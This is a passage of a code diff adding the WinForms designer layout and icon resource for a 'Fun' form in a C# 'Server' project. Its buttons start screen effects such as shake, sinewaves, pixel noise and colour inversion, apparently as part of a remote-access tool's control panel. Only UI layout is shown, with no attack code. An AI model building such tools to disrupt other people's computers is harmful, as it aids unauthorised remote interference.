+ this.metroButton43.Text = "Start"; + this.metroButton43.Theme = MetroThemeStyle.Dark; + this.metroButton43.UseSelectable = true; + this.metroButton43.UseStyleColors = true; + this.metroButton43.Click += new EventHandler(this.metroButton43_Click); + this.metroLabel26.AutoSize = true; + this.metroLabel26.Location = new Point(755, 197); + this.metroLabel26.Name = "metroLabel26"; + this.metroLabel26.Size = new Size(43, 19); + this.metroLabel26.Style = MetroColorStyle.Lime; + this.metroLabel26.TabIndex = 113; + this.metroLabel26.Text = "Train2"; + this.metroLabel26.Theme = MetroThemeStyle.Dark; + this.metroLabel26.UseStyleColors = true; + this.metroButton45.Location = new Point(755, 219); + this.metroButton45.Name = "metroButton45"; + this.metroButton45.Size = new Size(55, 20); + this.metroButton45.Style = MetroColorStyle.Lime; + this.metroButton45.TabIndex = 111; + this.metroButton45.Text = "Start"; + this.metroButton45.Theme = MetroThemeStyle.Dark; + this.metroButton45.UseSelectable = true; + this.metroButton45.UseStyleColors = true; + this.metroButton45.Click += new EventHandler(this.metroButton45_Click); + this.metroLabel27.AutoSize = true; + this.metroLabel27.Location = new Point(878, 197); + this.metroLabel27.Name = "metroLabel27"; + this.metroLabel27.Size = new Size(43, 19); + this.metroLabel27.Style = MetroColorStyle.Lime; + this.metroLabel27.TabIndex = 110; + this.metroLabel27.Text = "Train3"; + this.metroLabel27.Theme = MetroThemeStyle.Dark; + this.metroLabel27.UseStyleColors = true; + this.metroButton47.Location = new Point(878, 219); + this.metroButton47.Name = "metroButton47"; + this.metroButton47.Size = new Size(55, 20); + this.metroButton47.Style = MetroColorStyle.Lime; + this.metroButton47.TabIndex = 108; + this.metroButton47.Text = "Start"; + this.metroButton47.Theme = MetroThemeStyle.Dark; + this.metroButton47.UseSelectable = true; + this.metroButton47.UseStyleColors = true; + this.metroButton47.Click += new EventHandler(this.metroButton47_Click); + this.metroLabel29.AutoSize = true; + this.metroLabel29.Location = new Point(878, 343); + this.metroLabel29.Name = "metroLabel29"; + this.metroLabel29.Size = new Size(54, 19); + this.metroLabel29.Style = MetroColorStyle.Lime; + this.metroLabel29.TabIndex = 128 /*0x80*/; + this.metroLabel29.Text = "Setpixel"; + this.metroLabel29.Theme = MetroThemeStyle.Dark; + this.metroLabel29.UseStyleColors = true; + this.metroButton51.Location = new Point(878, 365); + this.metroButton51.Name = "metroButton51"; + this.metroButton51.Size = new Size(55, 20); + this.metroButton51.Style = MetroColorStyle.Lime; + this.metroButton51.TabIndex = 126; + this.metroButton51.Text = "Start"; + this.metroButton51.Theme = MetroThemeStyle.Dark; + this.metroButton51.UseSelectable = true; + this.metroButton51.UseStyleColors = true; + this.metroButton51.Click += new EventHandler(this.metroButton51_Click); + this.metroLabel30.AutoSize = true; + this.metroLabel30.Location = new Point(755, 294); + this.metroLabel30.Name = "metroLabel30"; + this.metroLabel30.Size = new Size(43, 19); + this.metroLabel30.Style = MetroColorStyle.Lime; + this.metroLabel30.TabIndex = 125; + this.metroLabel30.Text = "Shake"; + this.metroLabel30.Theme = MetroThemeStyle.Dark; + this.metroLabel30.UseStyleColors = true; + this.metroButton53.Location = new Point(755, 316); + this.metroButton53.Name = "metroButton53"; + this.metroButton53.Size = new Size(55, 20); + this.metroButton53.Style = MetroColorStyle.Lime; + this.metroButton53.TabIndex = 123; + this.metroButton53.Text = "Start"; + this.metroButton53.Theme = MetroThemeStyle.Dark; + this.metroButton53.UseSelectable = true; + this.metroButton53.UseStyleColors = true; + this.metroButton53.Click += new EventHandler(this.metroButton53_Click); + this.metroLabel31.AutoSize = true; + this.metroLabel31.Location = new Point(878, 294); + this.metroLabel31.Name = "metroLabel31"; + this.metroLabel31.Size = new Size(67, 19); + this.metroLabel31.Style = MetroColorStyle.Lime; + this.metroLabel31.TabIndex = 122; + this.metroLabel31.Text = "Sinewaves"; + this.metroLabel31.Theme = MetroThemeStyle.Dark; + this.metroLabel31.UseStyleColors = true; + this.metroButton55.Location = new Point(878, 316); + this.metroButton55.Name = "metroButton55"; + this.metroButton55.Size = new Size(55, 20); + this.metroButton55.Style = MetroColorStyle.Lime; + this.metroButton55.TabIndex = 120; + this.metroButton55.Text = "Start"; + this.metroButton55.Theme = MetroThemeStyle.Dark; + this.metroButton55.UseSelectable = true; + this.metroButton55.UseStyleColors = true; + this.metroButton55.Click += new EventHandler(this.metroButton55_Click); + this.metroLabel32.AutoSize = true; + this.metroLabel32.Location = new Point(755, 248); + this.metroLabel32.Name = "metroLabel32"; + this.metroLabel32.Size = new Size(42, 19); + this.metroLabel32.Style = MetroColorStyle.Lime; + this.metroLabel32.TabIndex = 119; + this.metroLabel32.Text = "Smelt"; + this.metroLabel32.Theme = MetroThemeStyle.Dark; + this.metroLabel32.UseStyleColors = true; + this.metroButton57.Location = new Point(755, 270); + this.metroButton57.Name = "metroButton57"; + this.metroButton57.Size = new Size(55, 20); + this.metroButton57.Style = MetroColorStyle.Lime; + this.metroButton57.TabIndex = 117; + this.metroButton57.Text = "Start"; + this.metroButton57.Theme = MetroThemeStyle.Dark; + this.metroButton57.UseSelectable = true; + this.metroButton57.UseStyleColors = true; + this.metroButton57.Click += new EventHandler(this.metroButton57_Click); + this.metroLabel33.AutoSize = true; + this.metroLabel33.Location = new Point(755, 343); + this.metroLabel33.Name = "metroLabel33"; + this.metroLabel33.Size = new Size(59, 19); + this.metroLabel33.Style = MetroColorStyle.Lime; + this.metroLabel33.TabIndex = 131; + this.metroLabel33.Text = "Rgbtrain"; + this.metroLabel33.Theme = MetroThemeStyle.Dark; + this.metroLabel33.UseStyleColors = true; + this.metroButton59.Location = new Point(755, 365); + this.metroButton59.Name = "metroButton59"; + this.metroButton59.Size = new Size(55, 20); + this.metroButton59.Style = MetroColorStyle.Lime; + this.metroButton59.TabIndex = 129; + this.metroButton59.Text = "Start"; + this.metroButton59.Theme = MetroThemeStyle.Dark; + this.metroButton59.UseSelectable = true; + this.metroButton59.UseStyleColors = true; + this.metroButton59.Click += new EventHandler(this.metroButton59_Click); + this.metroLabel28.AutoSize = true; + this.metroLabel28.Location = new Point(755, 394); + this.metroLabel28.Name = "metroLabel28"; + this.metroLabel28.Size = new Size(66, 19); + this.metroLabel28.Style = MetroColorStyle.Lime; + this.metroLabel28.TabIndex = 137; + this.metroLabel28.Text = "Dump VD"; + this.metroLabel28.Theme = MetroThemeStyle.Dark; + this.metroLabel28.UseStyleColors = true; + this.metroButton49.Location = new Point(755, 416); + this.metroButton49.Name = "metroButton49"; + this.metroButton49.Size = new Size(55, 20); + this.metroButton49.Style = MetroColorStyle.Lime; + this.metroButton49.TabIndex = 135; + this.metroButton49.Text = "Start"; + this.metroButton49.Theme = MetroThemeStyle.Dark; + this.metroButton49.UseSelectable = true; + this.metroButton49.UseStyleColors = true; + this.metroButton49.Click += new EventHandler(this.metroButton49_Click_1); + this.metroLabel34.AutoSize = true; + this.metroLabel34.Location = new Point(878, 394); + this.metroLabel34.Name = "metroLabel34"; + this.metroLabel34.Size = new Size(36, 19); + this.metroLabel34.Style = MetroColorStyle.Lime; + this.metroLabel34.TabIndex = 134; + this.metroLabel34.Text = "Dark"; + this.metroLabel34.Theme = MetroThemeStyle.Dark; + this.metroLabel34.UseStyleColors = true; + this.metroButton61.Location = new Point(878, 416); + this.metroButton61.Name = "metroButton61"; + this.metroButton61.Size = new Size(55, 20); + this.metroButton61.Style = MetroColorStyle.Lime; + this.metroButton61.TabIndex = 132; + this.metroButton61.Text = "Start"; + this.metroButton61.Theme = MetroThemeStyle.Dark; + this.metroButton61.UseSelectable = true; + this.metroButton61.UseStyleColors = true; + this.metroButton61.Click += new EventHandler(this.metroButton61_Click); + this.metroLabel35.AutoSize = true; + this.metroLabel35.Location = new Point(755, 444); + this.metroLabel35.Name = "metroLabel35"; + this.metroLabel35.Size = new Size(48 /*0x30*/, 19); + this.metroLabel35.Style = MetroColorStyle.Lime; + this.metroLabel35.TabIndex = 143; + this.metroLabel35.Text = "Stripes"; + this.metroLabel35.Theme = MetroThemeStyle.Dark; + this.metroLabel35.UseStyleColors = true; + this.metroButton63.Location = new Point(755, 466); + this.metroButton63.Name = "metroButton63"; + this.metroButton63.Size = new Size(55, 20); + this.metroButton63.Style = MetroColorStyle.Lime; + this.metroButton63.TabIndex = 141; + this.metroButton63.Text = "Start"; + this.metroButton63.Theme = MetroThemeStyle.Dark; + this.metroButton63.UseSelectable = true; + this.metroButton63.UseStyleColors = true; + this.metroButton63.Click += new EventHandler(this.metroButton63_Click); + this.metroLabel36.AutoSize = true; + this.metroLabel36.Location = new Point(23, 467); + this.metroLabel36.Name = "metroLabel36"; + this.metroLabel36.Size = new Size(90, 19); + this.metroLabel36.Style = MetroColorStyle.Lime; + this.metroLabel36.TabIndex = 144 /*0x90*/; + this.metroLabel36.Text = "Screen Colors"; + this.metroLabel36.Theme = MetroThemeStyle.Dark; + this.metroLabel36.UseStyleColors = true; + this.metroButton64.Location = new Point(24, 500); + this.metroButton64.Name = "metroButton64"; + this.metroButton64.Size = new Size(56, 20); + this.metroButton64.Style = MetroColorStyle.Lime; + this.metroButton64.TabIndex = 145; + this.metroButton64.Text = "Default"; + this.metroButton64.Theme = MetroThemeStyle.Dark; + this.metroButton64.UseSelectable = true; + this.metroButton64.UseStyleColors = true; + this.metroButton64.Click += new EventHandler(this.metroButton64_Click); + this.metroButton65.Location = new Point(86, 500); + this.metroButton65.Name = "metroButton65"; + this.metroButton65.Size = new Size(56, 20); + this.metroButton65.Style = MetroColorStyle.Lime; + this.metroButton65.TabIndex = 146; + this.metroButton65.Text = "Red"; + this.metroButton65.Theme = MetroThemeStyle.Dark; + this.metroButton65.UseSelectable = true; + this.metroButton65.UseStyleColors = true; + this.metroButton65.Click += new EventHandler(this.metroButton65_Click); + this.metroButton66.Location = new Point(148, 500); + this.metroButton66.Name = "metroButton66"; + this.metroButton66.Size = new Size(56, 20); + this.metroButton66.Style = MetroColorStyle.Lime; + this.metroButton66.TabIndex = 147; + this.metroButton66.Text = "Green"; + this.metroButton66.Theme = MetroThemeStyle.Dark; + this.metroButton66.UseSelectable = true; + this.metroButton66.UseStyleColors = true; + this.metroButton66.Click += new EventHandler(this.metroButton66_Click); + this.metroButton67.Location = new Point(210, 500); + this.metroButton67.Name = "metroButton67"; + this.metroButton67.Size = new Size(56, 20); + this.metroButton67.Style = MetroColorStyle.Lime; + this.metroButton67.TabIndex = 148; + this.metroButton67.Text = "Blue"; + this.metroButton67.Theme = MetroThemeStyle.Dark; + this.metroButton67.UseSelectable = true; + this.metroButton67.UseStyleColors = true; + this.metroButton67.Click += new EventHandler(this.metroButton67_Click); + this.metroButton68.Location = new Point(210, 526); + this.metroButton68.Name = "metroButton68"; + this.metroButton68.Size = new Size(56, 20); + this.metroButton68.Style = MetroColorStyle.Lime; + this.metroButton68.TabIndex = 151; + this.metroButton68.Text = "Cyan"; + this.metroButton68.Theme = MetroThemeStyle.Dark; + this.metroButton68.UseSelectable = true; + this.metroButton68.UseStyleColors = true; + this.metroButton68.Click += new EventHandler(this.metroButton68_Click); + this.metroButton69.Location = new Point(148, 526); + this.metroButton69.Name = "metroButton69"; + this.metroButton69.Size = new Size(56, 20); + this.metroButton69.Style = MetroColorStyle.Lime; + this.metroButton69.TabIndex = 150; + this.metroButton69.Text = "Yellow"; + this.metroButton69.Theme = MetroThemeStyle.Dark; + this.metroButton69.UseSelectable = true; + this.metroButton69.UseStyleColors = true; + this.metroButton69.Click += new EventHandler(this.metroButton69_Click); + this.metroButton70.Location = new Point(86, 526); + this.metroButton70.Name = "metroButton70"; + this.metroButton70.Size = new Size(56, 20); + this.metroButton70.Style = MetroColorStyle.Lime; + this.metroButton70.TabIndex = 149; + this.metroButton70.Text = "Purple"; + this.metroButton70.Theme = MetroThemeStyle.Dark; + this.metroButton70.UseSelectable = true; + this.metroButton70.UseStyleColors = true; + this.metroButton70.Click += new EventHandler(this.metroButton70_Click); + this.metroButton71.Location = new Point(23, 526); + this.metroButton71.Name = "metroButton71"; + this.metroButton71.Size = new Size(56, 20); + this.metroButton71.Style = MetroColorStyle.Lime; + this.metroButton71.TabIndex = 152; + this.metroButton71.Text = "Dark"; + this.metroButton71.Theme = MetroThemeStyle.Dark; + this.metroButton71.UseSelectable = true; + this.metroButton71.UseStyleColors = true; + this.metroButton71.Click += new EventHandler(this.metroButton71_Click); + this.metroLabel37.AutoSize = true; + this.metroLabel37.Location = new Point(878, 445); + this.metroLabel37.Name = "metroLabel37"; + this.metroLabel37.Size = new Size(45, 19); + this.metroLabel37.Style = MetroColorStyle.Lime; + this.metroLabel37.TabIndex = 155; + this.metroLabel37.Text = "Tunnel"; + this.metroLabel37.Theme = MetroThemeStyle.Dark; + this.metroLabel37.UseStyleColors = true; + this.metroButton73.Location = new Point(878, 467); + this.metroButton73.Name = "metroButton73"; + this.metroButton73.Size = new Size(55, 20); + this.metroButton73.Style = MetroColorStyle.Lime; + this.metroButton73.TabIndex = 153; + this.metroButton73.Text = "Start"; + this.metroButton73.Theme = MetroThemeStyle.Dark; + this.metroButton73.UseSelectable = true; + this.metroButton73.UseStyleColors = true; + this.metroButton73.Click += new EventHandler(this.metroButton73_Click); + this.metroLabel38.AutoSize = true; + this.metroLabel38.Location = new Point(755, 494); + this.metroLabel38.Name = "metroLabel38"; + this.metroLabel38.Size = new Size(75, 19); + this.metroLabel38.Style = MetroColorStyle.Lime; + this.metroLabel38.TabIndex = 158; + this.metroLabel38.Text = "InvertColor"; + this.metroLabel38.Theme = MetroThemeStyle.Dark; + this.metroLabel38.UseStyleColors = true; + this.metroButton75.Location = new Point(755, 516); + this.metroButton75.Name = "metroButton75"; + this.metroButton75.Size = new Size(55, 20); + this.metroButton75.Style = MetroColorStyle.Lime; + this.metroButton75.TabIndex = 156; + this.metroButton75.Text = "Start"; + this.metroButton75.Theme = MetroThemeStyle.Dark; + this.metroButton75.UseSelectable = true; + this.metroButton75.UseStyleColors = true; + this.metroButton75.Click += new EventHandler(this.metroButton75_Click); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(1034, 579); + this.Controls.Add((Control) this.metroLabel38); + this.Controls.Add((Control) this.metroButton75); + this.Controls.Add((Control) this.metroLabel37); + this.Controls.Add((Control) this.metroButton73); + this.Controls.Add((Control) this.metroButton71); + this.Controls.Add((Control) this.metroButton68); + this.Controls.Add((Control) this.metroButton69); + this.Controls.Add((Control) this.metroButton70); + this.Controls.Add((Control) this.metroButton67); + this.Controls.Add((Control) this.metroButton66); + this.Controls.Add((Control) this.metroButton65); + this.Controls.Add((Control) this.metroButton64); + this.Controls.Add((Control) this.metroLabel36); + this.Controls.Add((Control) this.metroLabel35); + this.Controls.Add((Control) this.metroButton63); + this.Controls.Add((Control) this.metroLabel28); + this.Controls.Add((Control) this.metroButton49); + this.Controls.Add((Control) this.metroLabel34); + this.Controls.Add((Control) this.metroButton61); + this.Controls.Add((Control) this.metroLabel33); + this.Controls.Add((Control) this.metroButton59); + this.Controls.Add((Control) this.metroLabel29); + this.Controls.Add((Control) this.metroButton51); + this.Controls.Add((Control) this.metroLabel30); + this.Controls.Add((Control) this.metroButton53); + this.Controls.Add((Control) this.metroLabel31); + this.Controls.Add((Control) this.metroButton55); + this.Controls.Add((Control) this.metroLabel32); + this.Controls.Add((Control) this.metroButton57); + this.Controls.Add((Control) this.metroLabel25); + this.Controls.Add((Control) this.metroButton43); + this.Controls.Add((Control) this.metroLabel26); + this.Controls.Add((Control) this.metroButton45); + this.Controls.Add((Control) this.metroLabel27); + this.Controls.Add((Control) this.metroButton47); + this.Controls.Add((Control) this.metroLabel23); + this.Controls.Add((Control) this.metroButton39); + this.Controls.Add((Control) this.metroLabel24); + this.Controls.Add((Control) this.metroButton41); + this.Controls.Add((Control) this.metroLabel22); + this.Controls.Add((Control) this.metroButton37); + this.Controls.Add((Control) this.metroLabel21); + this.Controls.Add((Control) this.metroButton35); + this.Controls.Add((Control) this.metroLabel20); + this.Controls.Add((Control) this.metroLabel19); + this.Controls.Add((Control) this.metroButton33); + this.Controls.Add((Control) this.metroLabel18); + this.Controls.Add((Control) this.metroButton31); + this.Controls.Add((Control) this.metroLabel17); + this.Controls.Add((Control) this.metroButton30); + this.Controls.Add((Control) this.metroLabel16); + this.Controls.Add((Control) this.metroButton29); + this.Controls.Add((Control) this.metroLabel15); + this.Controls.Add((Control) this.metroLabel14); + this.Controls.Add((Control) this.metroButton28); + this.Controls.Add((Control) this.metroLabel13); + this.Controls.Add((Control) this.metroComboBox3); + this.Controls.Add((Control) this.metroLabel12); + this.Controls.Add((Control) this.metroButton26); + this.Controls.Add((Control) this.metroButton27); + this.Controls.Add((Control) this.metroLabel11); + this.Controls.Add((Control) this.metroButton24); + this.Controls.Add((Control) this.metroButton25); + this.Controls.Add((Control) this.metroLabel10); + this.Controls.Add((Control) this.metroButton22); + this.Controls.Add((Control) this.metroButton23); + this.Controls.Add((Control) this.metroLabel9); + this.Controls.Add((Control) this.metroButton20); + this.Controls.Add((Control) this.metroButton21); + this.Controls.Add((Control) this.metroLabel8); + this.Controls.Add((Control) this.metroButton18); + this.Controls.Add((Control) this.metroButton19); + this.Controls.Add((Control) this.metroLabel7); + this.Controls.Add((Control) this.metroButton16); + this.Controls.Add((Control) this.metroButton17); + this.Controls.Add((Control) this.metroLabel6); + this.Controls.Add((Control) this.metroButton14); + this.Controls.Add((Control) this.metroButton15); + this.Controls.Add((Control) this.metroLabel5); + this.Controls.Add((Control) this.metroButton12); + this.Controls.Add((Control) this.metroButton13); + this.Controls.Add((Control) this.metroLabel4); + this.Controls.Add((Control) this.metroButton10); + this.Controls.Add((Control) this.metroButton11); + this.Controls.Add((Control) this.metroLabel3); + this.Controls.Add((Control) this.metroButton8); + this.Controls.Add((Control) this.metroButton9); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.metroButton6); + this.Controls.Add((Control) this.metroButton7); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroButton4); + this.Controls.Add((Control) this.metroButton5); + this.Controls.Add((Control) this.metroButton3); + this.Controls.Add((Control) this.metroButton2); + this.Controls.Add((Control) this.metroButton1); + this.Controls.Add((Control) this.metroTextBox2); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormFun); + this.Style = MetroColorStyle.Lime; + this.Text = "Fun"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormTaskMgr_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormFun.resx b/Server/Server/Forms/FormFun.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormFun.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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